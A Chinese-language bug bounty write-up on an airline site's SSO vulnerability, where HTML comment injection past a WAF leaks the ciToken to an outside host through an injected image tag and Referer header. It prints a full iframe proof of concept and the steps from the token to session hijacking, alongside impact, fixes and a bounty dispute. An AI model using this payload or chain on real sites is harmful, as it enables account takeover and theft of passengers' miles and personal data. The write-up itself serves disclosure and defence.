挖洞经验 | 一次搞笑的航空里程奖励测试
字数 1195 2025-08-15 21:30:53
航空公司网站SSO令牌泄露与会话劫持漏洞分析
漏洞概述
本案例涉及一家航空公司网站(funnyairline.com)的核心应用及其二级域名网站(secondary.com)之间的单点登录(SSO)系统存在的安全漏洞。攻击者能够通过精心构造的请求窃取身份验证令牌(ciToken),进而实现会话劫持,最终被评级为P1级高危漏洞。
技术背景
SSO实现机制
- 主站与二级域名网站共享同一访问令牌(ciToken)
- ciToken是经过MD5加密的字符串
- 登录主站后,点击二级站点登录按钮可无需再次输入密码
关键组件
ciToken: 主身份验证令牌CMSSO.jsp: 二级站点单点登录处理页面onlineAuthCode: 会话验证码
漏洞发现过程
初始发现
-
使用Burp Suite抓包时发现ciToken被包含在HTML注释标签中:
<!-- ciToken: token_value --> -
目标网站部署有Akamai CDN WAF,但可通过
-->实现WAF绕过 -
最初构造的XSS漏洞(
onauxclick事件)被标记为重复报告
深入测试
发现主站存在重定向跳转端点:
https://funnyairline.com/sso?return_to=crew&D=%trash=1
服务端响应最终跳转至:
Location: secondary.com/CMSSO.jsp?cid=USERTOKEN&trash=1
漏洞利用技术
令牌泄露构造
构造特殊重定向请求:
https://funnyairline.com/sso?return_to=crew&D=--><image/src=//ssrftest.com/x/eoh39.gif>
服务端响应:
https://secondary.com/CMSSO.jsp?cid=USERTOKENLEAKED--><image/src=//ssrftest.com/x/eoh39.gif>
响应中包含:
<!-- ciToken: token --><image/src=//ssrftest.com/x/eoh39.gif>
完整PoC
<iframe src="https://funnyairline.com/sso?return_to=crew&D=sadsad--><image/src=//ssrftest.com/x/eoh39.gif>" width=0 height=0></iframe>
利用技术细节
- 通过Referer头将ciToken泄露到攻击者控制的ssrftest.com
- 目标网站支持框架响应(Frameable response)
- ciToken可无限次复用,无时间限制
会话劫持流程
-
获取ciToken后,构造SSO登录请求:
https://secondary.com/CMSSO.jsp?RT=加密cookie值RT参数包含认证后的加密cookie
-
服务端响应生成onlineAuthCode:
Location: https://anysecondarydomain.com/Account/SSOLogOn?onlineAuthCode=U2FsdGVkX1-ezqwA-c5zRMSDSM-UjnvL80xFZDm6PhwU9ZnxB49aMy-RBji_nLui -
使用onlineAuthCode实现完整会话控制
漏洞影响
- 账户接管:攻击者可控制受害者账户
- 里程盗取:将受害者账户里程转移到攻击者账户
- 优惠券滥用:滥用里程兑换功能
- PII泄露:获取乘客个人信息
- 业务逻辑滥用:利用二级域名上的各种业务功能
防御建议
-
令牌保护:
- 不应在HTML注释中暴露敏感令牌
- 使用HttpOnly和Secure标志的cookie
- 实现令牌绑定机制
-
输入验证:
- 严格验证重定向参数
- 实现安全的URL跳转白名单
-
会话管理:
- 为令牌设置合理有效期
- 实现单次使用令牌
- 增加CSRF保护
-
WAF规则:
- 更新规则防止HTML注释注入
- 检测异常重定向请求
-
架构设计:
- 避免使用客户端令牌传递认证信息
- 考虑使用OAuth等标准协议替代自定义SSO
漏洞奖励争议
- 航空公司原承诺P1漏洞奖励100万英里里程
- 实际仅奖励5万英里
- 拒绝理由:"害怕引起老板的注意"
- 对比其他公司按实际影响评定奖励
经验总结
- 选择有明确奖励政策的众测平台
- 优先选择有申诉调解渠道的项目
- 评估目标的范围、奖励金额和支付速度
- 即使漏洞被标记为"重复",也应探索其潜在影响
- 完整记录漏洞利用链以证明实际危害